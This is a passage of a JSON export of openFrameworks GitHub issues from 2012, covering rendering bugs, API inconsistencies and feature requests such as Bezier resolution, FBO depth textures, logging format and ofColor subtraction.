Release","created_at":"2011-12-02T15:29:48Z","creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327442},"description":"","number":5,"id":61810,"state":"open","closed_issues":21},"number":1201,"id":4230131,"assignee":null,"state":"open","user":{"url":"https://api.github.com/users/elliotwoods","gravatar_id":"bea30676dca310e7f38269f245214944","login":"elliotwoods","avatar_url":"https://secure.gravatar.com/avatar/bea30676dca310e7f38269f245214944?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":328294}},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1190","html_url":"https://github.com/openframeworks/openFrameworks/issues/1190","body":"I'm investigating the way to draw bezier curves / nurbs etc. with shaders, here is a list a links and information I found that can improve render times with OF. Any way I must admit I'm new to openGL & shaders so maybe someone can take this to implement maybe an add-on or maybe to added to the core.\r\n\r\n**Resolution Independent Curve Rendering using Programmable Graphics Hardware**\r\nhttp://research.microsoft.com/en-us/um/people/cloop/loopblinn05.pdf\r\n\r\n**Resolution independent GPU accelerated Curve & Font rendering**\r\n**GPU based Resolution Independent Font & Curve Rendering – initial Release**\r\nhttp://jausoft.com/blog/2011/04/01/resolution-independent-gpu-accelerated-curve-font-rendering/\r\nhttp://ramisantina.com/blog/?p=73\r\nhttp://vimeo.com/21810192\r\nhttp://jogamp.org/doc/gpunurbs2011/p70-santina.pdf\r\n\r\n**Curvy blues**\r\nhttp://www.mdk.org.pl/2007/10/27/curvy-blues\r\n\r\n**Vector drawing: OpenGL shaders and cairo & vector hardware tessellation**\r\nhttp://www.mdk.org.pl/2007/8/6/vector-drawing-opengl-shaders-and-cairo\r\n\r\n**ShivaVG & Random Access Rendering of Animated Vector Graphics**\r\nhttp://ivanleben.blogspot.com.es/2007/07/shivavg-open-source-ansi-c-openvg.html\r\nhttp://www.youtube.com/watch?v=mD8X-e5-sY4\r\nhttp://www.youtube.com/watch?v=U4USCfwORUg\r\nhttp://andrejas-atelier.com/ivan/IvanLebenHonsThesis.pdf\r\n\r\n**RAVG**\r\nhttp://research.microsoft.com/en-us/um/people/hoppe/proj/ravg/\r\n\r\n**NV Path Rendering Videos (seams only with nvidia)**\r\nhttp://developer.nvidia.com/nv-path-rendering-videos\r\n\r\n**Vector drawing: OpenGL polygon tessellation**\r\nhttp://www.mdk.org.pl/2007/8/16/vector-drawing-opengl-polygon-tessellation\r\nhttp://zrusin.blogspot.com.es/2006/07/hardware-accelerated-polygon-rendering.html\r\n","closed_at":null,"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","color":"db6a1f","name":"core"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","color":"622425","name":"feature"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-2D","color":"DDDDDD","name":"section-2D"}],"title":"Bezier Shaders & Vector openGL rendering","pull_request":{"patch_url":null,"html_url":null,"diff_url":null},"created_at":"2012-04-20T09:23:00Z","updated_at":"2012-05-14T01:22:17Z","comments":8,"milestone":null,"number":1190,"id":4207350,"assignee":null,"state":"open","user":{"url":"https://api.github.com/users/microbians","gravatar_id":"98c91e60903b83c0a022ee70cca9ca21","login":"microbians","avatar_url":"https://secure.gravatar.com/avatar/98c91e60903b83c0a022ee70cca9ca21?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":1662136}},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1189","html_url":"https://github.com/openframeworks/openFrameworks/issues/1189","body":"ofSetCurveResolution is not changing the resolution using ofBezier nor ofBezierVertex (tested with ofScale is more easy to see the bug)\r\n\r\n ofFill();\r\n ofSetHexColor(0xFF9933);\r\n ofBeginShape();\r\n ofVertex(x0,y0);\r\n ofBezierVertex(x1,y1,x2,y2,x3,y3);\r\n ofEndShape();\r\n\r\nall works fine when using ofPath directly:\r\n\r\n ofPath curve;\r\n curve.setFillHexColor(0xFF000);\r\n curve.setCurveResolution(120);\r\n curve.moveTo(x0, y0);\r\n curve.bezierTo(x1,y1,x2,y2,x3,y3);\r\n curve.draw();\r\n\r\nmore: http://forum.openframeworks.cc/index.php/topic,9596.0.html","closed_at":null,"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","color":"db6a1f","name":"core"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","color":"b31d1d","name":"bug"}],"title":"ofSetCurveResolution + ofBezierVertex bug","pull_request":{"patch_url":null,"html_url":null,"diff_url":null},"created_at":"2012-04-20T08:51:51Z","updated_at":"2012-05-16T09:41:20Z","comments":0,"milestone":{"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","due_on":"2012-06-25T07:00:00Z","open_issues":81,"title":"0072 Release","created_at":"2011-12-02T15:29:48Z","creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327442},"description":"","number":5,"id":61810,"state":"open","closed_issues":21},"number":1189,"id":4206982,"assignee":{"url":"https://api.github.com/users/arturoc","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","login":"arturoc","avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":48240},"state":"open","user":{"url":"https://api.github.com/users/microbians","gravatar_id":"98c91e60903b83c0a022ee70cca9ca21","login":"microbians","avatar_url":"https://secure.gravatar.com/avatar/98c91e60903b83c0a022ee70cca9ca21?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":1662136}},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1186","html_url":"https://github.com/openframeworks/openFrameworks/issues/1186","body":"If you set up an ofFbo as follows...\r\n\r\n```cpp\r\n ofFbo::Settings s;\r\n s.width = 400;\r\n s.height = 400;\r\n s.textureTarget = GL_TEXTURE_2D;\r\n s.useDepth = true;\r\n s.depthAsTexture = true;\r\n s.dethInternalFormat = GL_DEPTH_COMPONENT24;\r\n```\r\n\r\n...then the colour texture's dimensions are set to be the next POTs up but the depth texture's dimensions don't seem to be. ","closed_at":null,"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","color":"db6a1f","name":"core"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","color":"b31d1d","name":"bug"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-3D","color":"DDDDDD","name":"section-3D"}],"title":"ofFbo depthBufferTex can be inconsistent with colour texture","pull_request":{"patch_url":null,"html_url":null,"diff_url":null},"created_at":"2012-04-18T15:08:32Z","updated_at":"2012-05-01T04:10:23Z","comments":2,"milestone":null,"number":1186,"id":4174070,"assignee":null,"state":"open","user":{"url":"https://api.github.com/users/neilmendoza","gravatar_id":"3e46b12547e7bac19eb982bc512b19c4","login":"neilmendoza","avatar_url":"https://secure.gravatar.com/avatar/3e46b12547e7bac19eb982bc512b19c4?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":818571}},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1178","html_url":"https://github.com/openframeworks/openFrameworks/issues/1178","body":"As mentioned here: http://forum.openframeworks.cc/index.php?topic=9107.0\r\nOpenGLES2 not working. It is always falls back to ES1. I tested it only on iPad2 with iOS 5.0.1.","closed_at":null,"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","color":"db6a1f","name":"core"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/iOS","color":"2babad","name":"iOS"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","color":"b31d1d","name":"bug"}],"title":"OpenGLES2 not working","pull_request":{"patch_url":null,"html_url":null,"diff_url":null},"created_at":"2012-04-16T11:19:36Z","updated_at":"2012-05-16T09:44:27Z","comments":0,"milestone":{"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","due_on":"2012-06-25T07:00:00Z","open_issues":81,"title":"0072 Release","created_at":"2011-12-02T15:29:48Z","creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327442},"description":"","number":5,"id":61810,"state":"open","closed_issues":21},"number":1178,"id":4132608,"assignee":{"url":"https://api.github.com/users/julapy","gravatar_id":"8dca8d8de1b5950c895fb72e0527c6f0","login":"julapy","avatar_url":"https://secure.gravatar.com/avatar/8dca8d8de1b5950c895fb72e0527c6f0?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":331382},"state":"open","user":{"url":"https://api.github.com/users/erinnovations","gravatar_id":"29639bbeb3afdde8fb3c7e273e5e43c6","login":"erinnovations","avatar_url":"https://secure.gravatar.com/avatar/29639bbeb3afdde8fb3c7e273e5e43c6?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":253455}},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1175","html_url":"https://github.com/openframeworks/openFrameworks/issues/1175","body":"in ofTexture::loadData we are doing:\r\n\r\n\r\n\t//------------------------ likely, we are uploading continuous data\r\n\tGLint prevAlignment;\r\n\tglGetIntegerv(GL_UNPACK_ALIGNMENT, &prevAlignment);\r\n\tglPixelStorei(GL_UNPACK_ALIGNMENT, 1);\r\n\r\nany reason for this? leaving the default works too. i've been working with a huge video and the transfer rates on some cards were super slow with ofTexture::loadData. even glDrawPixels was faster, i've finally used pbo's but later looking at ofTexture discovered this lines and i suspect that it could be the reason for loadData being slower, haven't tested it yet though.","closed_at":null,"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","color":"db6a1f","name":"core"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","color":"b31d1d","name":"bug"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-3D","color":"DDDDDD","name":"section-3D"}],"title":"GL_UNPACK_ALIGNMENT 1 in ofTexture","pull_request":{"patch_url":null,"html_url":null,"diff_url":null},"created_at":"2012-04-14T13:45:42Z","updated_at":"2012-04-14T13:45:55Z","comments":0,"milestone":null,"number":1175,"id":4117762,"assignee":null,"state":"open","user":{"url":"https://api.github.com/users/arturoc","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","login":"arturoc","avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":48240}},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1174","html_url":"https://github.com/openframeworks/openFrameworks/issues/1174","body":"one returns the result (dot) the other performs in place (cross), i.e. overrides the contents\r\nThe two definitions are inconsistent\r\npropose rename `ofVec3f::dot` to become `ofVec3f::getDotted` in line with `ofVec3f::getCrossed`","closed_at":null,"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","color":"db6a1f","name":"core"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","color":"b31d1d","name":"bug"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","color":"31e03a","name":"fix-proposed"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-internals","color":"DDDDDD","name":"section-internals"}],"title":"bug : inconsistent API for ofVec3f::dot and ofVec3f::cross","pull_request":{"patch_url":null,"html_url":null,"diff_url":null},"created_at":"2012-04-13T17:09:38Z","updated_at":"2012-05-16T09:39:22Z","comments":9,"milestone":{"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","due_on":"2012-06-25T07:00:00Z","open_issues":81,"title":"0072 Release","created_at":"2011-12-02T15:29:48Z","creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327442},"description":"","number":5,"id":61810,"state":"open","closed_issues":21},"number":1174,"id":4108582,"assignee":null,"state":"open","user":{"url":"https://api.github.com/users/elliotwoods","gravatar_id":"bea30676dca310e7f38269f245214944","login":"elliotwoods","avatar_url":"https://secure.gravatar.com/avatar/bea30676dca310e7f38269f245214944?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":328294}},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1173","html_url":"https://github.com/openframeworks/openFrameworks/issues/1173","body":"If you pass a string containing non-ascii characters to ofToHex(), the non-ascii characters (with character codes above 127) will be output as ffffxxxx (it depends on the exact character value and the size of the int type on the platform you are compiling for).\r\nThe problem is due to an incorrect cast in the ostringstream operation inside the loop.\r\nInstead of directly casting the (signed) char from the input character to an unsigned int, the input character must first be cast to an unsigned char.\r\nIn other words, instead of:\r\n``` out << setfill('0') << setw(2) << hex << (unsigned int) value[i];```\r\nit should be:\r\n``` out << setfill('0') << setw(2) << hex << (unsigned int) ((unsigned char)value[i]);```\r\nor maybe even:\r\n``` out << setfill('0') << setw(2) << hex << static_cast(static_cast(value[i]));```\r\nif you prefer C++ style casts over C style casts. :)\r\n\r\nHTH\r\n/Jesper","closed_at":null,"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","color":"db6a1f","name":"core"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","color":"b31d1d","name":"bug"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bitesize","color":"65a300","name":"bitesize"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","color":"31e03a","name":"fix-proposed"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-internals","color":"DDDDDD","name":"section-internals"}],"title":"ofToHex(string) is wrong for non-ascii input","pull_request":{"patch_url":null,"html_url":null,"diff_url":null},"created_at":"2012-04-13T14:42:30Z","updated_at":"2012-04-14T04:20:36Z","comments":1,"milestone":{"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","due_on":"2012-06-25T07:00:00Z","open_issues":81,"title":"0072 Release","created_at":"2011-12-02T15:29:48Z","creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327442},"description":"","number":5,"id":61810,"state":"open","closed_issues":21},"number":1173,"id":4104336,"assignee":null,"state":"open","user":{"url":"https://api.github.com/users/pappis","gravatar_id":"fbf3d56c96cf5b891056530066549692","login":"pappis","avatar_url":"https://secure.gravatar.com/avatar/fbf3d56c96cf5b891056530066549692?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":1640543}},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1171","html_url":"https://github.com/openframeworks/openFrameworks/issues/1171","body":"if I call ofBeginSaveScreenAsPDF using ofEasyCam or the ofCamera, the pdf doesn't have the perspective of the camera. There's a parameter b3d to ofBeginSaveScreenAsPDF which I interpret to be \"render taking into account 3d transforms\", but it doesn't seem to have any effect.\r\n\r\nmore on the forum\r\n\r\nhttp://forum.openframeworks.cc/index.php/topic,9542.0.html","closed_at":null,"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","color":"db6a1f","name":"core"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","color":"b31d1d","name":"bug"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-3D","color":"DDDDDD","name":"section-3D"}],"title":"ofBeginSaveScreenAsPDF ignores 3d transformations","pull_request":{"patch_url":null,"html_url":null,"diff_url":null},"created_at":"2012-04-12T10:09:42Z","updated_at":"2012-04-12T10:09:42Z","comments":0,"milestone":null,"number":1171,"id":4081188,"assignee":null,"state":"open","user":{"url":"https://api.github.com/users/jesusgollonet","gravatar_id":"5008d5295e9bc2636313c7b50ed5981d","login":"jesusgollonet","avatar_url":"https://secure.gravatar.com/avatar/5008d5295e9bc2636313c7b50ed5981d?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":31100}},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1167","html_url":"https://github.com/openframeworks/openFrameworks/issues/1167","body":"if I have `ofEvent boolEvent` and i try to call `ofNotifyEvent( boolEvent, true )` i get a `no matching function` error as the compiler cannot coerce `true` to a `bool &`.\r\n\r\nto solve this, instead of this:\r\n\r\n~~~~\r\nofEvent boolEvent;\r\n...\r\nofNotifyEvent( boolEvent, true );\r\n~~~~\r\n\r\ni need to write this:\r\n\r\n~~~~\r\nofEvent boolEvent;\r\n...\r\nbool myBool = true;\r\nofNotifyEvent( boolEvent, myBool );\r\n~~~~\r\n\r\nthis is kind of annoying.","closed_at":null,"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","color":"db6a1f","name":"core"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","color":"b31d1d","name":"bug"}],"title":"ofNotifyEvent( boolEvent, true ) fails to compile","pull_request":{"patch_url":null,"html_url":null,"diff_url":null},"created_at":"2012-04-11T12:03:34Z","updated_at":"2012-04-13T14:54:18Z","comments":2,"milestone":null,"number":1167,"id":4063456,"assignee":null,"state":"open","user":{"url":"https://api.github.com/users/damiannz","gravatar_id":"d1e060fe75a68836bf8a3209a9066bbe","login":"damiannz","avatar_url":"https://secure.gravatar.com/avatar/d1e060fe75a68836bf8a3209a9066bbe?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":144366}},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1166","html_url":"https://github.com/openframeworks/openFrameworks/issues/1166","body":"It's currently not possible to have an event without arguments\r\n\r\n`ofEvent testEvent;` -- fails to compile\r\n","closed_at":null,"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","color":"db6a1f","name":"core"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","color":"622425","name":"feature"}],"title":"ofEvent lacks simple, argument-free use case","pull_request":{"patch_url":null,"html_url":null,"diff_url":null},"created_at":"2012-04-11T12:00:19Z","updated_at":"2012-04-11T13:21:33Z","comments":2,"milestone":null,"number":1166,"id":4063417,"assignee":null,"state":"open","user":{"url":"https://api.github.com/users/damiannz","gravatar_id":"d1e060fe75a68836bf8a3209a9066bbe","login":"damiannz","avatar_url":"https://secure.gravatar.com/avatar/d1e060fe75a68836bf8a3209a9066bbe?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":144366}},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1165","html_url":"https://github.com/openframeworks/openFrameworks/issues/1165","body":"It's currently not possible to write `ofLogError( \"serial\", \"error %i connecting to serial\", serialError )`. \r\n\r\nThere should be `ofLogError( string module, string format, ... )` methods as with normal ofLog.","closed_at":null,"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","color":"db6a1f","name":"core"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","color":"622425","name":"feature"}],"title":"ofLogError, ofLogWarning lack format, ... args","pull_request":{"patch_url":null,"html_url":null,"diff_url":null},"created_at":"2012-04-11T11:56:33Z","updated_at":"2012-04-21T15:41:01Z","comments":6,"milestone":null,"number":1165,"id":4063366,"assignee":null,"state":"open","user":{"url":"https://api.github.com/users/damiannz","gravatar_id":"d1e060fe75a68836bf8a3209a9066bbe","login":"damiannz","avatar_url":"https://secure.gravatar.com/avatar/d1e060fe75a68836bf8a3209a9066bbe?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":144366}},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1152","html_url":"https://github.com/openframeworks/openFrameworks/issues/1152","body":"change `allocate(_w, _h, OF_IMAGE_COLOR);` to `allocate(_w, _h, OF_IMAGE_COLOR_ALPHA);` (via reza on irc)","closed_at":null,"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","color":"db6a1f","name":"core"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","color":"b31d1d","name":"bug"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","color":"31e03a","name":"fix-proposed"}],"title":"grabScreen in ofImage fails on Android","pull_request":{"patch_url":null,"html_url":null,"diff_url":null},"created_at":"2012-04-09T17:15:21Z","updated_at":"2012-04-10T16:47:19Z","comments":4,"milestone":null,"number":1152,"id":4032047,"assignee":null,"state":"open","user":{"url":"https://api.github.com/users/kylemcdonald","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":157106}},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1151","html_url":"https://github.com/openframeworks/openFrameworks/issues/1151","body":"the module name is no longer printed if it's coming from OF itself.\r\n\r\ninstead of the constant name, a human-readable string is printed.\r\n\r\nexample output from project generator: http://pastebin.com/raw.php?i=0dp938Jx","closed_at":null,"labels":[],"title":"shorten + simplify ofLog output","pull_request":{"patch_url":"https://github.com/openframeworks/openFrameworks/pull/1151.patch","html_url":"https://github.com/openframeworks/openFrameworks/pull/1151","diff_url":"https://github.com/openframeworks/openFrameworks/pull/1151.diff"},"created_at":"2012-04-08T21:13:14Z","updated_at":"2012-05-29T14:46:40Z","comments":6,"milestone":{"url":"https://api.github.com/repos/openframeworks/openFrameworks/milestones/5","due_on":"2012-06-25T07:00:00Z","open_issues":81,"title":"0072 Release","created_at":"2011-12-02T15:29:48Z","creator":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327442},"description":"","number":5,"id":61810,"state":"open","closed_issues":21},"number":1151,"id":4023525,"assignee":null,"state":"open","user":{"url":"https://api.github.com/users/kylemcdonald","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":157106}},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1150","html_url":"https://github.com/openframeworks/openFrameworks/issues/1150","body":"\r\nWorking on the project generator, which has a fair amount of logging, I'm concerned about how much space we loose on each line: \r\n\r\n OF: OF_LOG_NOTICE:\r\n\r\nit's about 15-20 characters or so, pretty significant where each line is 80, so alot more wrapping happens then I'd like, making the results less cleaner or organized. \r\n\r\nI propose we alter \r\n\r\n string ofGetLogLevelName(ofLogLevel level){\r\n switch(level){\r\n case OF_LOG_VERBOSE:\r\n return \"OF_LOG_VERBOSE\";\r\n break;\r\n case OF_LOG_NOTICE:\r\n return \"OF_LOG_NOTICE\";\r\n break;\r\n case OF_LOG_WARNING:\r\n return \"OF_LOG_WARNING\";\r\n break;\r\n case OF_LOG_ERROR:\r\n return \"OF_LOG_ERROR\";\r\n break;\r\n case OF_LOG_FATAL_ERROR:\r\n return \"OF_LOG_FATAL_ERROR\";\r\n break;\r\n case OF_LOG_SILENT:\r\n return \"OF_LOG_SILENT\";\r\n break;\r\n default:\r\n return \"\";\r\n }\r\n }\r\n\r\nso that we can have something like : \r\n\r\n (of:notice) \r\n (of:verbose) \r\n (of:error) \r\n\r\nor something smaller and if we loose the all caps, maybe less threatening :)\r\n","closed_at":null,"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","color":"db6a1f","name":"core"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bitesize","color":"65a300","name":"bitesize"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","color":"31e03a","name":"fix-proposed"}],"title":"propose shortening ofLog console message length","pull_request":{"patch_url":null,"html_url":null,"diff_url":null},"created_at":"2012-04-08T20:32:49Z","updated_at":"2012-04-17T14:47:36Z","comments":4,"milestone":null,"number":1150,"id":4023305,"assignee":{"url":"https://api.github.com/users/kylemcdonald","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":157106},"state":"open","user":{"url":"https://api.github.com/users/ofZach","gravatar_id":"04ffd573ed878bc5b8c818c3aeaa2d71","login":"ofZach","avatar_url":"https://secure.gravatar.com/avatar/04ffd573ed878bc5b8c818c3aeaa2d71?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":142897}},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1146","html_url":"https://github.com/openframeworks/openFrameworks/issues/1146","body":"Hey all\r\n\r\nA few sections of the repo need some love to put them in line with the project generator:\r\n\r\n1. Readme's\r\n2. Rogue old project generators\r\n3. Document complementing tools\r\n\r\n# Readme\r\n\r\nThe readme's in the root of the repo need some love\r\nnone of them mention project generator \r\n\r\ni feel like each should be a description of how to get to a working project generator on each of the respective platforms\r\n\r\nalso note:\r\n* .vs2010 is missing\r\n* readme.txt repeats information from the other readme's (i.e. it's a list of platform specific instructions)\r\ni think this should be perhaps a little description of oF and a few tips on how to get started\r\n\r\n# Rogue old 'project generators' / documenting complementary tools for project generator\r\n\r\nHere's things I can find in the repo which don't make sense to me at the moment:\r\n\r\n* `openFrameworks\\scripts\\????\\compileAllExamples.bat`\r\n** is this supposed to be run (optionally) after the project generator?\r\n** why is the project template within this folder?\r\n* `openFrameworks\\scripts\\????\\createProjects.py` \r\n** if this isn't supposed to be used anymore, lets delete it immediately (we can always recover in emergencies)\r\n\r\nand the 'other' folder in the root.. perhaps never took off?","closed_at":null,"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","color":"b31d1d","name":"bug"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/documentation","color":"cccc29","name":"documentation"}],"title":"Document Project Generator / clean out old tools","pull_request":{"patch_url":null,"html_url":null,"diff_url":null},"created_at":"2012-04-07T14:43:53Z","updated_at":"2012-04-07T15:00:32Z","comments":0,"milestone":null,"number":1146,"id":4015514,"assignee":null,"state":"open","user":{"url":"https://api.github.com/users/elliotwoods","gravatar_id":"bea30676dca310e7f38269f245214944","login":"elliotwoods","avatar_url":"https://secure.gravatar.com/avatar/bea30676dca310e7f38269f245214944?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":328294}},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1145","html_url":"https://github.com/openframeworks/openFrameworks/issues/1145","body":"When attempting to render a mesh to a PDF the ofCairoRender does not output a filled mesh, thus the PDF output looks empty. \r\n\r\nIf you open the file in illustrator you'll see the paths, there but with no stroke or fill. \r\n\r\nWhen I dug into the issue a bit further I realized that Cairo isn't capable of rendering shapes with per vertex colors easily...\r\n\r\n","closed_at":null,"labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","color":"db6a1f","name":"core"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","color":"b31d1d","name":"bug"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","color":"31e03a","name":"fix-proposed"}],"title":"ofCairoRenderer ofMesh doesn't render properly to PDF","pull_request":{"patch_url":null,"html_url":null,"diff_url":null},"created_at":"2012-04-06T22:02:01Z","updated_at":"2012-04-07T19:49:31Z","comments":3,"milestone":null,"number":1145,"id":4010494,"assignee":null,"state":"open","user":{"url":"https://api.github.com/users/rezaali","gravatar_id":"548374013b9c6e50ebbd2294e12d4f31","login":"rezaali","avatar_url":"https://secure.gravatar.com/avatar/548374013b9c6e50ebbd2294e12d4f31?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":555207}},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/1144","html_url":"https://github.com/openframeworks/openFrameworks/issues/1144","body":"When using the ofColor subtraction operator, negative results are clamped to positive values instead of 0. Values are circulating between 0 and 255, which could be useful for hue in HSV but in most cases (R, G, B..) is not what I would expect.\r\n\r\n ofColor a(10, 40, 80);\r\n ofColor b(20, 5, 30);\r\n ofColor c = (a-b); // I get: (246, 45, 50), I would expect: (0, 45, 